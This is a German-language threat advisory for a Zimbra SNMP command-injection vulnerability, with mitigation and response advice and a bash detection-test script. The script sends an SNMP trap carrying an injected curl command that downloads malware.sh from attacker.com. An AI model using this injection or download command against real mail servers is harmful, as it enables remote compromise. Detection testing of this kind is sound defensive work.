CVE-2026-73570: Nicht authentifizierte Befehlsausführung zielt auf internetzugängliche Mailserver ab

Zusammenfassung

Bedrohungsakteure nutzen aktiv CVE-2026-73570 aus, eine nicht authentifizierte OS-Befehlsinjektions-Schwachstelle im SNMP-Benachrichtigungspfad der Zimbra Collaboration Suite. Erfolgreiche Ausnutzung kann es Angreifern ermöglichen, JSP-Webshells zu deployieren, Reverse Shells zu etablieren und Privilegien zu eskalieren. Die beobachtete Kampagne kombiniert automatisierte Payload-Zustellung mit manueller Aktivität, fokussiert auf den Diebstahl von E-Mail- und Authentifizierungsdaten.

Untersuchung

Die Microsoft Threat Intelligence verfolgte die Ausnutzung über Telemetrie und untersuchte mehrere Angriffsphasen, einschließlich Aufklärung, anfänglicher Zugriff, Persistenz und Privilegieneskalation. Ermittler beobachteten Out-of-Band-Proben, die zum Bestätigen der Befehlsausführung über spezifische Subdomains verwendet wurden. Die Analyse deckte auch komplexe Privilegieneskalationen auf, die Zimbra-Diensthelfer und mehrere Persistenzmechanismen beinhalteten, einschließlich systemd-Diensten und Cron-Jobs.

Minderung

Organisationen sollten die Zimbra Collaboration Suite sofort auf Version 10.1.20 oder höher aktualisieren, um die Schwachstelle zu beheben. Wenn das Patchen nicht umgehend abgeschlossen werden kann, deinstallieren Sie das optionale zimbra-snmp Paket und deaktivieren Sie SNMP-Benachrichtigungen. Sicherheitsteams sollten auch den SMTP- und SNMP-Zugriff auf vertrauenswürdige Hosts beschränken und alle Zimbra-Authentifizierungsgeheimnisse rotieren.

Antwort

Behandeln Sie Reverse-Shell-Warnungen auf internetzugänglichen Mailservern als Vorfälle mit hoher Priorität, die eine schnelle Abgrenzung und Überprüfung der Anmeldeinformationen erfordern. Überprüfen Sie Zimbra-Anwendungs- und Servlet-Work-Verzeichnisse auf unerwartete JSP-Dateien oder kürzlich geänderte Berechtigungen. Überprüfen Sie systemd-Einheiten auf verdächtige Eigentumsänderungen oder Timestomping-Aktivitäten und rotieren Sie alle Domain zimbraPreAuthKey Werte.

Simulation Ausführung

• Angriffserzählung & Befehle: Der Gegner identifiziert einen internetzugänglichen Zimbra-Mailserver und nutzt eine Schwachstelle (CVE-2026-73570) in der SNMP-Benachrichtigungsverarbeitung aus. Durch das Senden eines speziell gestalteten Pakets injizieren sie Shell-Metazeichen, die den SNMP-Dienst veranlassen, einen Befehl auszuführen. Das Ziel des Angreifers ist es, eine sekundäre Nutzlast herunterzuladen, um Persistenz herzustellen. Sie verwenden curl um ein Skript von einem entfernten Server abzurufen, das die Logik in der Erkennungsregel auslösen soll. Regression Test Skript:

• Regression Test Script:

  #!/bin/bash
  # Simulation der Ausnutzung von CVE-2026-73570 über SNMP-Trap-Injektion
  # Dieses Skript simuliert die Injektion eines 'curl'-Befehls in eine SNMP-Trap-Nachricht.
  
  TARGET_IP="127.0.0.1"
  COMMUNITY="public"
  # Die bösartige Nutzlast, die von der Regel erfasst werden soll
  MALICIOUS_COMMAND="curl http://attacker.com/malware.sh -o /tmp/malware.sh"
  
  echo "[+] Simuliere Befehlsinjektion über SNMP-Trap..."
  
  # Wir verwenden snmptrap, um das Eintreffen eines gestalteten Traps zu simulieren, der die 'curl'-Zeichenfolge enthält
  # In einem echten Exploit würde dies über ein fehlerhaftes SMTP/SNMP-Paket gesendet
  snmptrap -v 2c -c $COMMUNITY $TARGET_IP '' 1.3.6.1.4.1.8072.2.3.0.1 1.3.6.1.4.1.8072.2.3.0.2 s "$MALICIOUS_COMMAND"
  
  echo "[+] Simulationsbefehl gesendet. Überprüfen Sie SIEM auf Alarm: Nicht authentifizierte Befehlsinjektion über SNMP in Zimbra"

• Bereinigungsbefehle:

  # Entfernen Sie alle während der Simulation erstellten Dateien (falls vorhanden)
  rm -f /tmp/malware.sh
  echo "[+] Bereinigung abgeschlossen."